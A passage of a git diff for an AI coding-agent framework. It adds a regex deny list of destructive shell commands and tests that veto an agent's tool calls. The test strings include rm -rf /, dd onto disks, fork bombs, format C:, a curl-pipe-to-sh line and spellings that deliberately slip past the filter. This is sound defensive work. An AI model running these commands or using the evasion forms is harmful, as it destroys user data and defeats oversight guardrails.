cmd allows+ // switches to run together (`/s/q`), so each is only required to appear in the segment.+ pattern:+ `${CMD_START}(?i:remove-item)(?![a-zA-Z0-9])(?=(?:\\s[^;&|]*)?\\s-(?i:rec[a-z]*|r)(?:\\s|$))(?=(?:\\s[^;&|]*)?\\s-(?i:force|f)(?:\\s|$))` ++ `|${CMD_START}(?i:rmdir|rd|del|erase)(?![a-zA-Z0-9])(?=[^;&|]*/(?i:s)(?![a-zA-Z]))(?=[^;&|]*/(?i:q)(?![a-zA-Z]))`,+ description: "Windows recursive force delete (Remove-Item -Recurse -Force, rd /s /q)",+ },+ {+ name: "windows-format-volume",+ // `format C:` (the drive letter is required, so `pnpm format` is not a hit) and the+ // PowerShell cmdlet.+ pattern:+ `${CMD_START}(?i:format)(?![a-zA-Z0-9-])(?=[^;&|]*\\s[a-zA-Z]:(?![a-zA-Z0-9]))` ++ `|${CMD_START}(?i:format-volume)(?![a-zA-Z0-9])`,+ description: "Windows volume format (format C:, Format-Volume) — destroys it wholesale",+ },+ {+ name: "windows-disk-overwrite",+ // A raw write to the physical disk device, and the cmdlet that wipes one.+ pattern: `${WINDOWS_RAW_DISK}|${CMD_START}(?i:clear-disk)(?![a-zA-Z0-9])`,+ description: "Windows raw disk overwrite (\\\\.\\PhysicalDriveN, Clear-Disk)",+ },+ {+ name: "windows-fork-bomb",+ // The cmd batch fork bomb: a script that pipes itself into itself.+ pattern: "%0\\s*\\|\\s*%0",+ description: "the cmd fork bomb (%0|%0) — exhausts the process table in seconds",+ },+];diff --git a/packages/core/src/state/index.ts b/packages/core/src/state/index.tsindex d58dc008..fb571ba4 100644--- a/packages/core/src/state/index.ts+++ b/packages/core/src/state/index.ts@@ -9,6 +9,9 @@ export * from "./kernel-history.js";export * from "./kernel-update.js";export * from "./builtin-agents.js";export * from "./model-catalog.js";+// Seeded command-policy rules + the single "absent = factory set" fallback (the server+// serves both; the matcher that reads them is core-internal).+export * from "./command-policy-defaults.js";export * from "./project-config.js";export * from "./agent-state.js";export * from "./agent-vault.js";diff --git a/packages/core/src/state/project-config.ts b/packages/core/src/state/project-config.tsindex 2f822322..6b108122 100644--- a/packages/core/src/state/project-config.ts+++ b/packages/core/src/state/project-config.ts@@ -27,7 +27,8 @@import fs from "node:fs/promises";import path from "node:path";import { parse as parseToml, stringify as stringifyToml } from "smol-toml";-import type { ThinkingLevelName } from "../interfaces.js";+import type { CommandPolicyConfig, CommandPolicyRule, ThinkingLevelName } from "../interfaces.js";+import { DEFAULT_COMMAND_POLICY_RULES } from "./command-policy-defaults.js";import { canonicalClientType, presetModelEntries } from "./model-catalog.js";import { projectConfigPath } from "./paths.js";@@ -178,6 +179,16 @@ export interface ProjectConfig {* absent = the pre-existing behavior). Loaded tolerantly: invalid values drop per key.*/default_chat?: ProjectChatDefaults;+ /**+ * Sandbox command policy (`[command_policy]`): Project-owned deny rules for shell+ * commands, threaded into every Session's Environment at creation and consulted ahead of+ * the approval mode. The factory rule set is seeded at project creation like the model+ * presets (copied in, never rewritten afterward); a config from before the seeding —+ * absent block, or a block without a `rules` list — behaves as the factory set until the+ * first saved edit materializes the list. Loaded tolerantly: an invalid value drops per+ * key, and dropping `enabled` falls back to on.+ */+ command_policy?: CommandPolicyConfig;models: ModelEntry[];}@@ -190,6 +201,10 @@ export interface ProjectConfig {export function defaultProjectConfig(): ProjectConfig {return {default_model: { provider: "deepseek", model_id: "deepseek-v4-flash" },+ // The factory command-policy rules are seeded like the model presets: copied into the+ // new project's config and owned by it from then on — later factory changes never+ // rewrite an existing file. Spread to keep the module-level constant frozen.+ command_policy: { rules: DEFAULT_COMMAND_POLICY_RULES.map((r) => ({ ...r })) },models: presetModelEntries(),};}@@ -270,6 +285,45 @@ function parseDefaultChat(value: unknown): ProjectChatDefaults | undefined {return Object.keys(out).length > 0 ? out : undefined;}+/**+ * Leniently parses the `[command_policy]` block (sandbox command policy): each key is+ * validated independently and an invalid value drops that key rather than failing the+ * load. A non-boolean `enabled` falls back to on (the safe direction); a `rules` value+ * that is not an array reads as absent, i.e. the factory set. A present array is the+ * literal list — invalid entries are dropped individually, which can narrow the deny set,+ * but the write paths validate up front and the file is never hand-edited by design, so+ * this only fires for hand-placed data.+ *+ * Exported for the server's ProjectConfigService, which holds a cached parse of the same+ * file — the same sharing rule as projectConfigFromTable, so the two paths can never+ * narrow the block differently.+ */+export function parseCommandPolicy(value: unknown): CommandPolicyConfig | undefined {+ if (value === null || typeof value !== "object" || Array.isArray(value)) return undefined;+ const t = value as Record<string, unknown>;+ const out: CommandPolicyConfig = {};+ if (typeof t.enabled === "boolean") out.enabled = t.enabled;+ if (Array.isArray(t.rules)) {+ const rules: CommandPolicyRule[] = [];+ for (const entry of t.rules) {+ if (entry === null || typeof entry !== "object" || Array.isArray(entry)) continue;+ const r = entry as Record<string, unknown>;+ if (typeof r.name !== "string" || r.name === "") continue;+ if (typeof r.pattern !== "string" || r.pattern === "") continue;+ rules.push({+ name: r.name,+ pattern: r.pattern,+ ...(typeof r.description === "string" && r.description !== ""+ ? { description: r.description }+ : {}),+ ...(typeof r.enabled === "boolean" ? { enabled: r.enabled } : {}),+ });+ }+ out.rules = rules;+ }+ return Object.keys(out).length > 0 ? out : undefined;+}+/*** Narrows an already-parsed `.project_config.toml` table into a typed `ProjectConfig`* (`file` is used in error messages only). Shared by `loadProjectConfig` and callers that@@ -287,11 +341,13 @@ export function projectConfigFromTable(const defaultModel = parseRefField(file, "default_model", parsed.default_model);const visionModel = parseRefField(file, "vision_model", parsed.vision_model);const defaultChat = parseDefaultChat(parsed.default_chat);+ const commandPolicy = parseCommandPolicy(parsed.command_policy);return {...(parsed.name !== undefined ? { name: parsed.name as string } : {}),...(defaultModel !== undefined ? { default_model: defaultModel } : {}),...(visionModel !== undefined ? { vision_model: visionModel } : {}),...(defaultChat !== undefined ? { default_chat: defaultChat } : {}),+ ...(commandPolicy !== undefined ? { command_policy: commandPolicy } : {}),models: ((parsed.models as unknown[] | undefined) ?? []).map((m) => assertModelEntry(file, m)),};}diff --git a/packages/core/test/command-policy.test.ts b/packages/core/test/command-policy.test.tsnew file mode 100644index 00000000..eca74100--- /dev/null+++ b/packages/core/test/command-policy.test.ts@@ -0,0 +1,489 @@+import { afterEach, beforeEach, describe, expect, it } from "vitest";+import { mkdtemp, rm } from "node:fs/promises";+import { tmpdir } from "node:os";+import path from "node:path";+import {+ evaluateCommandPolicy,+ vetoForToolCall,+ withCommandPolicy,+} from "../src/internal/command-policy.js";+import { DEFAULT_COMMAND_POLICY_RULES } from "../src/state/command-policy-defaults.js";+import { Session } from "../src/session.js";+import { assistantText, toolCall, userText } from "../src/omnimessage/index.js";+import type { OmniMessage, SessionMetaPayload } from "../src/omnimessage/index.js";+import type {+ ApproveFn,+ CommandPolicyConfig,+ EnvironmentInterface,+ LLMInterface,+ LLMOutcome,+} from "../src/interfaces.js";++/** Shorthand: the matched rule name, or null. */+function hit(cmd: string, policy?: CommandPolicyConfig): string | null {+ return evaluateCommandPolicy(cmd, policy)?.rule ?? null;+}++describe("command policy factory rules", () => {+ it("catches rm with recursive+force in every spelling", () => {+ for (const cmd of [+ "rm -rf /tmp/x",+ "rm -fr node_modules",+ "rm -r -f build",+ "rm -f -r build",+ "rm -Rf ./dist",+ "rm --recursive --force data",+ "rm --force --recursive data",+ "sudo rm -rf /",+ "cd / && rm -rf home",+ "rm -rfv cache",+ "rm -rf spaced", // whitespace runs normalize before matching+ "rm foo -rf", // GNU rm accepts flags after operands+ "rm -rF caps", // recursive already accepted -R; force now accepts -F too+ "/bin/rm -rf /tmp/x", // reached by path: an ordinary spelling, not obfuscation+ "sudo /usr/bin/rm -rf /tmp/x",+ "echo hi; rm -rf /tmp/x", // a second command after a separator is its own segment+ ]) {+ expect(hit(cmd), cmd).toBe("rm-recursive-force");+ }+ });++ it("leaves benign rm and lookalikes alone", () => {+ for (const cmd of [+ "rm -r build", // recursive without force+ "rm -f single-file", // force without recursive+ "rm plain.txt",+ "npm rm -g pkg", // npm's rm subcommand carries no recursive+force pair here+ "grep -rf patterns.txt . | head", // -rf flag on a command that is not rm+ "firmware-tool --reflash", // "rm" only as a substring of another word+ "/opt/bin/confirm -rf x", // a path whose last segment merely ends in "rm"+ ]) {+ expect(hit(cmd), cmd).toBeNull();+ }+ });++ it("catches mkfs including dotted variants, not lookalikes", () => {+ expect(hit("mkfs /dev/sdb1")).toBe("mkfs");+ expect(hit("sudo mkfs.ext4 /dev/sdb1")).toBe("mkfs");+ // mkfs usually lives in /sbin, so the path spelling is the common one.+ expect(hit("/sbin/mkfs.ext4 /dev/sda1")).toBe("mkfs");+ expect(hit("man mkfs")).toBe("mkfs"); // guardrail accepts this false positive: the word is the risk signal+ expect(hit("mkfsomething else")).toBeNull();+ });++ it("catches dd onto block devices but allows /dev/null and file targets", () => {+ expect(hit("dd if=/dev/zero of=/dev/sda bs=1M")).toBe("dd-to-block-device");+ expect(hit("sudo dd if=img.iso of=/dev/nvme0n1")).toBe("dd-to-block-device");+ expect(hit("dd if=/dev/rdisk2 of=/dev/rdisk3")).toBe("dd-to-block-device");+ expect(hit("dd if=/dev/zero of=/dev/null bs=1M count=1")).toBeNull();+ expect(hit("dd if=in.bin of=out.bin")).toBeNull();+ // Quoting the target, or continuing past it, is the same write.+ expect(hit('dd if=/dev/zero of="/dev/sda"')).toBe("dd-to-block-device");+ expect(hit("dd if=/dev/zero of=/dev/sda; sync")).toBe("dd-to-block-device");+ expect(hit("/bin/dd if=/dev/zero of=/dev/sda")).toBe("dd-to-block-device");+ });++ it("catches the classic fork bomb", () => {+ expect(hit(":(){ :|:& };:")).toBe("fork-bomb");+ expect(hit(": ( ) { : | : & } ; :")).toBe("fork-bomb");+ });++ it("catches redirection onto block devices but allows /dev/null", () => {+ expect(hit("echo x > /dev/sda")).toBe("overwrite-block-device");+ expect(hit("cat img >/dev/mmcblk0")).toBe("overwrite-block-device");+ expect(hit("echo x > /dev/null")).toBeNull();+ expect(hit("echo x 2>/dev/null")).toBeNull();+ expect(hit("echo x > '/dev/sda'")).toBe("overwrite-block-device");+ expect(hit("echo x > /dev/sda; echo done")).toBe("overwrite-block-device");+ });+});++describe("command policy normalization (plain spellings, not evasion)", () => {+ it("sees through quoting and backslash escapes of the command word", () => {+ for (const cmd of [+ '"rm" -rf /',+ "'rm' -rf /",+ "r''m -rf /",+ "\\rm -rf /",+ "rm -r''f /",+ 'rm "-rf" /',+ ]) {+ expect(hit(cmd), cmd).toBe("rm-recursive-force");+ }+ });++ it("sees into a literal sh -c payload, whichever shell and whichever rule", () => {+ expect(hit("sh -c 'rm -rf /'")).toBe("rm-recursive-force");+ expect(hit('bash -c "rm -rf /"')).toBe("rm-recursive-force");+ expect(hit("sudo sh -c 'rm -rf /etc'")).toBe("rm-recursive-force");+ expect(hit("sh -c 'mkfs.ext4 /dev/sda1'")).toBe("mkfs");+ expect(hit('zsh -c "dd if=/dev/zero of=/dev/sda"')).toBe("dd-to-block-device");+ });++ it("a leading wrapper was always covered — the anchor accepts any separator", () => {+ for (const cmd of [+ "sudo rm -rf /",+ "env rm -rf /",+ "env -i rm -rf /",+ "command rm -rf /",+ "nice rm -rf /",+ "nohup rm -rf /",+ "xargs rm -rf",+ ]) {+ expect(hit(cmd), cmd).toBe("rm-recursive-force");+ }+ });++ it("does NOT see a command computed at run time — the documented boundary", () => {+ // Normalization removes quoting; it does not expand a variable, run a substitution, or+ // decode anything. These stay unmatched on purpose: shell is a programming language, and+ // patterns that pretend to read one buy the appearance of coverage. If a rule is ever+ // added that makes one of these match, that is a claim to re-examine, not a win.+ for (const cmd of [+ "rm -rf$IFS/tmp",+ "rm${IFS}-rf${IFS}/",+ "X=rm; $X -rf /",+ "R=-rf; rm $R /",+ "$(echo rm) -rf /",+ "eval $CMD",+ "echo cm0gLXJmIC8= | base64 -d | sh",+ "curl -s http://x/i.sh | sh",+ "python -c \"import shutil; shutil.rmtree('/')\"",+ ]) {+ expect(hit(cmd), cmd).toBeNull();+ }+ });+});++describe("command policy Windows counterparts", () => {+ it("catches recursive force deletes in pwsh and cmd, case-insensitively", () => {+ for (const cmd of [+ "Remove-Item -Recurse -Force C:\\Data",+ "remove-item -r -f .",+ "Remove-Item -Path X -Recurse -Force",+ "rd /s /q C:\\",+ "RD /S /Q C:\\",+ "rd /s/q C:\\", // cmd lets switches run together+ "rmdir /s /q dir",+ "del /f /s /q C:\\*",+ ]) {+ expect(hit(cmd), cmd).toBe("windows-recursive-delete");+ }+ // The recursive+quiet pair is required, exactly as the POSIX rule requires recursive+force.+ expect(hit("rmdir empty")).toBeNull();+ expect(hit("del one.txt")).toBeNull();+ });++ it("catches a volume format but not the word 'format'", () => {+ expect(hit("format C: /q")).toBe("windows-format-volume");+ expect(hit("FORMAT D:")).toBe("windows-format-volume");+ expect(hit("Format-Volume -DriveLetter C")).toBe("windows-format-volume");+ // The drive letter is what makes it a format; these are everyday build commands.+ expect(hit("pnpm format")).toBeNull();+ expect(hit("pnpm format:check")).toBeNull();+ expect(hit("npm run format && npm test")).toBeNull();+ });++ it("catches a raw disk overwrite and the cmd fork bomb", () => {+ expect(hit("dd if=x of=\\\\.\\PhysicalDrive0")).toBe("windows-disk-overwrite");+ expect(hit("Get-Content x > \\\\.\\PhysicalDrive1")).toBe("windows-disk-overwrite");+ expect(hit("Clear-Disk -Number 0 -RemoveData")).toBe("windows-disk-overwrite");+ expect(hit("%0|%0")).toBe("windows-fork-bomb");+ expect(hit("%0 | %0")).toBe("windows-fork-bomb");+ });+});++describe("command policy config semantics", () => {+ it("factory set applies when no config or no rules list is given", () => {+ expect(hit("rm -rf /")).toBe("rm-recursive-force");+ expect(hit("rm -rf /", {})).toBe("rm-recursive-force");+ });++ it("enabled=false disables the whole policy", () => {+ const off: CommandPolicyConfig = {+ enabled: false,+ rules: [{ name: "no-curl", pattern: "\\bcurl\\b" }],+ };+ expect(hit("rm -rf /", off)).toBeNull();+ expect(hit("curl http://x", off)).toBeNull();+ });++ it("a stored rules list replaces the factory set entirely", () => {+ const policy: CommandPolicyConfig = {+ rules: [{ name: "no-force-push", pattern: "git push [^;|&]*--force" }],+ };+ expect(hit("git push origin main --force", policy)).toBe("no-force-push");+ // The factory rules are data, not code: a list without them does not match rm -rf.+ expect(hit("rm -rf /", policy)).toBeNull();+ expect(hit("git push origin main", policy)).toBeNull();+ // A stored empty list means no rules at all.+ expect(hit("rm -rf /", { rules: [] })).toBeNull();+ });++ it("a rule with enabled=false is skipped; the others still fire", () => {+ const policy: CommandPolicyConfig = {+ rules: DEFAULT_COMMAND_POLICY_RULES.map((r) =>+ r.name === "rm-recursive-force" ? { ...r, enabled: false } : { ...r },+ ),+ };+ expect(hit("rm -rf node_modules", policy)).toBeNull();+ expect(hit("mkfs /dev/sdb1", policy)).toBe("mkfs");+ });++ it("skips an uncompilable rule instead of failing the whole policy", () => {+ const policy: CommandPolicyConfig = {+ rules: [+ { name: "broken", pattern: "(" },+ { name: "no-curl", pattern: "\\bcurl\\b" },+ ],+ };+ expect(hit("curl http://x", policy)).toBe("no-curl");+ });++ it("a hit reports the matched rule's name", () => {+ const veto = evaluateCommandPolicy("rm -rf /");+ expect(veto).not.toBeNull();+ expect(veto?.rule).toBe("rm-recursive-force");+ });+});++describe("vetoForToolCall", () => {+ const json = (args: unknown) => JSON.stringify(args);++ it("evaluates both tools that reach a shell, each on its own argument", () => {+ expect(vetoForToolCall("exec_command", json({ cmd: "rm -rf /" }))?.rule).toBe(+ "rm-recursive-force",+ );+ expect(vetoForToolCall("exec_command", json({ cmd: "ls" }))).toBeNull();+ // Typing into an already-running shell is the same reach: `exec_command {cmd:"bash"}`+ // matches nothing, so guarding only the launch left the guardrail one launch deep.+ expect(+ vetoForToolCall("input_command", json({ process_id: "p1", chars: "rm -rf /\n" }))?.rule,+ ).toBe("rm-recursive-force");+ expect(vetoForToolCall("input_command", json({ process_id: "p1", chars: "yes\n" }))).toBeNull();+ // Other tools carry no shell text; even a same-shaped argument is not evaluated. An MCP+ // server's shell is a different surface this policy deliberately does not reach into.+ expect(vetoForToolCall("write_file", json({ cmd: "rm -rf /" }))).toBeNull();+ expect(vetoForToolCall("mcp__server__shell", json({ cmd: "rm -rf /" }))).toBeNull();+ });++ it("exempts the lone Ctrl-C, which the tool turns into SIGINT rather than typed text", () => {+ const interrupt = String.fromCharCode(3);+ expect(+ vetoForToolCall("input_command", json({ process_id: "p1", chars: interrupt })),+ ).toBeNull();+ });++ it("treats malformed arguments as the tool's own validation problem, not a hit", () => {+ expect(vetoForToolCall("exec_command", json({}))).toBeNull();+ expect(vetoForToolCall("exec_command", json({ cmd: 42 }))).toBeNull();+ expect(vetoForToolCall("input_command", json({ process_id: "p1" }))).toBeNull();+ expect(vetoForToolCall("input_command", json({ process_id: "p1", chars: "" }))).toBeNull();+ expect(vetoForToolCall("exec_command", "not json at all")).toBeNull();+ expect(vetoForToolCall("exec_command", json([1, 2, 3]))).toBeNull();+ expect(vetoForToolCall("exec_command", json(null))).toBeNull();+ });+});++describe("factory rule metadata", () => {+ it("every factory rule compiles and carries a description", () => {+ for (const rule of DEFAULT_COMMAND_POLICY_RULES) {+ expect(() => new RegExp(rule.pattern)).not.toThrow();+ expect(rule.description?.length ?? 0).toBeGreaterThan(0);+ }+ });+});++describe("withCommandPolicy (the approval-boundary wrapper)", () => {+ const call = (cmd: string, name = "exec_command"): OmniMessage =>+ toolCall({ name, arguments: JSON.stringify({ cmd }), toolCallId: "c1" });++ it("refuses a vetoed call without consulting the wrapped callback", async () => {+ let asked = 0;+ const guarded = withCommandPolicy(async () => {+ asked += 1;+ return "allow";+ });++ const outcome = await guarded(call("rm -rf /tmp/x") as never);++ // The host is never asked: that is what makes the policy outrank every approval mode.+ expect(asked).toBe(0);+ // "forbidden" is the whole answer; the engine renders the fixed denial line from it.+ expect(outcome).toBe("forbidden");+ });++ it("passes everything else straight through, decision included", async () => {+ const guarded = withCommandPolicy(async () => "allow");+ expect(await guarded(call("ls -la") as never)).toBe("allow");+ // A non-exec tool is not the policy's business, even with a command-shaped argument.+ expect(await guarded(call("rm -rf /", "write_file") as never)).toBe("allow");++ const denying = withCommandPolicy(async () => "deny");+ expect(await denying(call("ls") as never)).toBe("deny");+ });++ it("refuses typed keystrokes too, so a launched shell is not a way around it", async () => {+ let asked = 0;+ const guarded = withCommandPolicy(async () => {+ asked += 1;+ return "allow";+ });+ const typed = (chars: string): OmniMessage =>+ toolCall({+ name: "input_command",+ arguments: JSON.stringify({ process_id: "p1", chars }),+ toolCallId: "c2",+ });++ expect(await guarded(typed("rm -rf /\n") as never)).toBe("forbidden");+ expect(asked).toBe(0);+ expect(await guarded(typed("make build\n") as never)).toBe("allow");+ expect(asked).toBe(1);+ });++ it("a disabled policy delegates every call, vetoed or not", async () => {+ const guarded = withCommandPolicy(async () => "allow", { enabled: false });+ expect(await guarded(call("rm -rf /") as never)).toBe("allow");+ });+});++describe("Session applies the policy at the approval boundary", () => {+ let tmp: string;+ beforeEach(async () => {+ tmp = await mkdtemp(path.join(tmpdir(), "penguin-cmdpolicy-"));+ });+ afterEach(async () => {+ await rm(tmp, { recursive: true, force: true });+ });++ const meta = (): SessionMetaPayload => ({+ session_id: "session-1",+ provider: "custom",+ model_id: "m1",+ model_context_window: 1000,+ system_prompt: "sp",+ agent_state: tmp,+ workspace: tmp,+ });++ it("denies a vetoed command under allow-all, and the tool never reaches the Environment", async () => {+ let approveCalls = 0;+ let executed = 0;+ let secondInput: OmniMessage[] | null = null;+ let turn = 0;+ const llm: LLMInterface = {+ async *streamGenerate(params): AsyncGenerator<OmniMessage, LLMOutcome> {+ if (turn++ === 0) {+ yield toolCall({+ name: "exec_command",+ arguments: JSON.stringify({ cmd: "rm -rf /tmp/definitely-not-run" }),+ toolCallId: "call_veto",+ stopReason: "completed",+ });+ return { status: "completed" };+ }+ secondInput = params.newMessages;+ yield assistantText("Understood, choosing another approach.");+ return { status: "completed" };+ },+ };+ const environment: EnvironmentInterface = {+ listTools: async () => [],+ // eslint-disable-next-line require-yield+ executeTool: async function* () {+ executed += 1;+ throw new Error("a vetoed command must never be executed");+ },+ toolPermission: () => undefined,+ };+ const allowAll: ApproveFn = async () => {+ approveCalls += 1;+ return "allow";+ };+ // No commandPolicy in the config: the factory rule set applies, on.+ const session = new Session({+ meta: meta(),+ bootstrap: async () => ({ tools: [], llm, mcp: [] }),+ mcpServers: [],+ environment,+ imagesDir: path.join(tmp, "images"),+ modelHasVision: true,+ });++ const all: OmniMessage[] = [];+ for await (const msg of session.run([userText("clean up")], { approve: allowAll })) {+ all.push(msg);+ }++ expect(approveCalls).toBe(0);+ expect(executed).toBe(0);+ const decision = all.find(+ (m) => (m.payload as { type?: string }).type === "approval_decision",+ )!;+ // The decision value itself separates a policy veto from a human denial in the Trace.+ expect((decision.payload as { decision?: string }).decision).toBe("forbidden");+ // The denial is the fixed line: "by policy" (not "by user") is what tells the model to+ // change course instead of treating it as a person's cancellation; both read `aborted`.+ const output = all.find((m) => (m.payload as { type?: string }).type === "tool_call_output")!;+ expect((output.payload as { stop_reason?: string }).stop_reason).toBe("aborted");+ expect((output.payload as { output: string }).output).toBe("Tool call denied by policy.");+ // The denial is fed back to the model, so the next turn can route around it.+ expect(+ (secondInput as OmniMessage[] | null)?.some(+ (m) => (m.payload as { type?: string }).type === "tool_call_output",+ ),+ ).toBe(true);+ });++ it("a project policy switched off lets the same command through to execution", async () => {+ let approveCalls = 0;+ let executedCmd: string | null = null;+ let turn = 0;+ const llm: LLMInterface = {+ async *streamGenerate(): AsyncGenerator<OmniMessage, LLMOutcome> {+ if (turn++ === 0) {+ yield toolCall({+ name: "exec_command",+ arguments: JSON.stringify({ cmd: "rm -rf ./build" }),+ toolCallId: "call_ok",+ stopReason: "completed",+ });+ return { status: "completed" };+ }+ yield assistantText("done");+ return { status: "completed" };+ },+ };+ const environment: EnvironmentInterface = {+ listTools: async () => [],+ async *executeTool(request) {+ const args = JSON.parse(request.toolCall.payload.arguments) as { cmd: string };+ executedCmd = args.cmd;+ yield { type: "event", payload: { type: "noop" } } as unknown as OmniMessage;+ },+ toolPermission: () => undefined,+ };+ const session = new Session({+ meta: meta(),+ bootstrap: async () => ({ tools: [], llm, mcp: [] }),+ mcpServers: [],+ environment,+ imagesDir: path.join(tmp, "images"),+ modelHasVision: true,+ commandPolicy: { enabled: false },+ });++ for await (const _ of session.run([userText("clean up")], {+ approve: async () => {+ approveCalls += 1;+ return "allow";+ },+ })) {+ // consume+ }++ expect(approveCalls).toBe(1);+ expect(executedCmd).toBe("rm -rf ./build");+ });+});diff --git a/packages/core/test/engine.test.ts b/packages/core/test/engine.test.tsindex 47090803..ddf436df 100644--- a/packages/core/test/engine.test.ts+++ b/packages/core/test/engine.test.ts@@ -477,6 +477,42 @@ describe("ContextEngine ReAct loop (mock LLM, approve callback)", () => {(m.payload as { stop_reason?: string }).stop_reason === "aborted",);expect(deniedMsg).toBeDefined();+ // A human denial is the plain "deny"; its wire format is unchanged from before+ // "forbidden" existed.+ const humanDecision = all.find(+ (m) => (m.payload as { type?: string }).type === "approval_decision",+ )!;+ expect((humanDecision.payload as { decision?: string }).decision).toBe("deny");+ });++ it('a "forbidden" decision reads "denied by policy" and rides the event as itself', async () => {+ // "forbidden" is the third approval decision (Session answers it for the sandbox+ // command policy). The engine records it like any other and picks the fixed denial+ // line from it, so the model sees a policy refusal rather than a user cancellation.+ const llm = new FakeLLM();+ const environment = new Environment({+ workspaceDir: workspace,+ toolConfig: execCommandToolConfig(),+ });+ const engine = new ContextEngine({ llm, environment });+ const refuse: ApproveFn = async () => "forbidden";++ const all = await collectRun(engine, [userText("clean up")], refuse);++ await expect(readFile(join(workspace, "hello.txt"), "utf8")).rejects.toThrow();+ const decision = all.find(+ (m) => (m.payload as { type?: string }).type === "approval_decision",+ )!;+ // The decision itself is the audit record: the Trace says who denied with no extra field.+ expect((decision.payload as { decision?: string }).decision).toBe("forbidden");+ const output = all.find((m) => (m.payload as { type?: string }).type === "tool_call_output")!;+ expect((output.payload as { stop_reason?: string }).stop_reason).toBe("aborted");+ expect((output.payload as { output: string }).output).toBe("Tool call denied by policy.");+ // Fed back to the model like any other tool result.+ const fedBack = llm.receivedSecondInput?.find(+ (m) => (m.payload as { type?: string }).type === "tool_call_output",+ );+ expect(fedBack).toBeDefined();});it("engine maxTurns fallback is -1 (unlimited) when the option is omitted (direct SDK construction)", () => {diff --git a/packages/core/test/state.test.ts b/packages/core/test/state.test.tsindex 35acd28e..8f93bd88 100644--- a/packages/core/test/state.test.ts+++ b/packages/core/test/state.test.ts@@ -61,6 +61,7 @@ import {type SystemConfig,} from "../src/state/index.js";import { SUBAGENT_THINKING_LEVELS } from "../src/interfaces.js";+import { DEFAULT_COMMAND_POLICY_RULES } from "../src/state/command-policy-defaults.js";import { sessionEnvironment } from "../src/internal/session-support.js";let tmpRoot: string;@@ -1390,6 +1391,85 @@ describe("project-config round trip", () => {});});+describe("command_policy (sandbox command policy block)", () => {+ it("the default config seeds the factory rules (model-presets philosophy)", () => {+ const cfg = defaultProjectConfig();+ expect(cfg.command_policy?.rules).toEqual(DEFAULT_COMMAND_POLICY_RULES);+ // Seeding copies the list: mutating a seeded config must not touch the constant.+ cfg.command_policy!.rules!.pop();+ expect(defaultProjectConfig().command_policy?.rules).toEqual(DEFAULT_COMMAND_POLICY_RULES);+ });++ it("round-trips through save/load — a known key the CLI's literal rebuild keeps", async () => {+ const block = {+ enabled: false,+ rules: [+ {+ name: "no-force-push",+ pattern: "git push [^;|&]*--force",+ description: "no force pushes",+ enabled: false,+ },+ { name: "no-curl", pattern: "\\bcurl\\b" },+ ],+ };+ const cfg = await loadProjectConfig(tmpRoot, DEFAULT_PROJECT_ID);+ cfg.command_policy = structuredClone(block);+ await saveProjectConfig(tmpRoot, DEFAULT_PROJECT_ID, cfg);+ const loaded = await loadProjectConfig(tmpRoot, DEFAULT_PROJECT_ID);+ expect(loaded.command_policy).toEqual(block);+ await saveProjectConfig(tmpRoot, DEFAULT_PROJECT_ID, loaded);+ expect((await loadProjectConfig(tmpRoot, DEFAULT_PROJECT_ID)).command_policy).toEqual(block);+ });++ it("a stored empty rules list survives the round trip (no rules ≠ factory rules)", async () => {+ const cfg = await loadProjectConfig(tmpRoot, DEFAULT_PROJECT_ID);+ cfg.command_policy = { rules: [] };+ await saveProjectConfig(tmpRoot, DEFAULT_PROJECT_ID, cfg);+ expect((await loadProjectConfig(tmpRoot, DEFAULT_PROJECT_ID)).command_policy).toEqual({+ rules: [],+ });+ });++ it("loads tolerantly: bad keys drop, a non-array rules value reads as absent (factory set)", async () => {+ const file = projectConfigPath(tmpRoot, DEFAULT_PROJECT_ID);+ await fs.mkdir(path.dirname(file), { recursive: true });+ await fs.writeFile(+ file,+ [+ "[command_policy]",+ 'enabled = "off"', // wrong type -> dropped -> defaults to enabled+ "[[command_policy.rules]]",+ 'name = "ok-rule"',+ 'pattern = "\\\\bcurl\\\\b"',+ "description = 3", // wrong type -> field dropped, entry kept+ "[[command_policy.rules]]",+ 'name = ""', // empty name -> entry dropped+ 'pattern = "x"',+ "[[command_policy.rules]]",+ 'name = "no-pattern"', // missing pattern -> entry dropped+ ].join("\n") + "\n",+ "utf8",+ );+ const loaded = await loadProjectConfig(tmpRoot, DEFAULT_PROJECT_ID);+ expect(loaded.command_policy).toEqual({+ rules: [{ name: "ok-rule", pattern: "\\bcurl\\b" }],+ });++ await fs.writeFile(file, '[command_policy]\nrules = "strict"\n', "utf8");+ expect((await loadProjectConfig(tmpRoot, DEFAULT_PROJECT_ID)).command_policy).toBeUndefined();+ });++ it("drops the block entirely when it is not a table or nothing valid remains", async () => {+ const file = projectConfigPath(tmpRoot, DEFAULT_PROJECT_ID);+ await fs.mkdir(path.dirname(file), { recursive: true });+ await fs.writeFile(file, 'command_policy = "strict"\n', "utf8");+ expect((await loadProjectConfig(tmpRoot, DEFAULT_PROJECT_ID)).command_policy).toBeUndefined();+ await fs.writeFile(file, '[command_policy]\nenabled = "banana"\n', "utf8");+ expect((await loadProjectConfig(tmpRoot, DEFAULT_PROJECT_ID)).command_policy).toBeUndefined();+ });+});+describe("default_chat (new-chat defaults block)", () => {const block = {agent_id: "default_agent",diff --git a/packages/core/test/subagent.test.ts b/packages/core/test/subagent.test.tsindex 0c4caa18..b295d606 100644--- a/packages/core/test/subagent.test.ts+++ b/packages/core/test/subagent.test.ts@@ -554,7 +554,7 @@ describe("run_subagent backgrounding + input_subagent", () => {it("aborts background subagents and denies pending approvals on dispose", async () => {let sawAbort = false;- let decision: string | null = null;+ let decision: unknown = null;const runner = runnerOf(async function* ({ approve, signal }: RunInput) {yield withOrigin(partialText("delta", "working"), HOP);if (approve) {diff --git a/packages/docs/content/agent-loop.en.md b/packages/docs/content/agent-loop.en.mdindex e001e1e4..db9cc122 100644--- a/packages/docs/content/agent-loop.en.md+++ b/packages/docs/content/agent-loop.en.md@@ -74,7 +74,7 @@ A Task consists of consecutive Requests (turns). Each turn:5. when the LLM stream ends, its final `token_usage` is emitted and `request_end(status)` follows at once — **without waiting for tools**: still-running tools may emit output after `request_end`;6. once the whole batch is terminal, tool results are **reordered to the original call order** and become the next turn's input — the next Request never fires before that.-The Task ends when a turn produces no `tool_call`. A denial produces a synthetic `aborted` tool output ("Tool call denied by user.") that the model reacts to.+The Task ends when a turn produces no `tool_call`. A denial produces a synthetic `aborted` tool output the model reacts to — "Tool call denied by user.", or "Tool call denied by policy." when the decision is the [command policy](/configuration#command-policy)'s `forbidden` (see [ApproveFn](/interfaces#approvefn)).## Interruption and carry-overdiff --git a/packages/docs/content/agent-loop.zh.md b/packages/docs/content/agent-loop.zh.mdindex 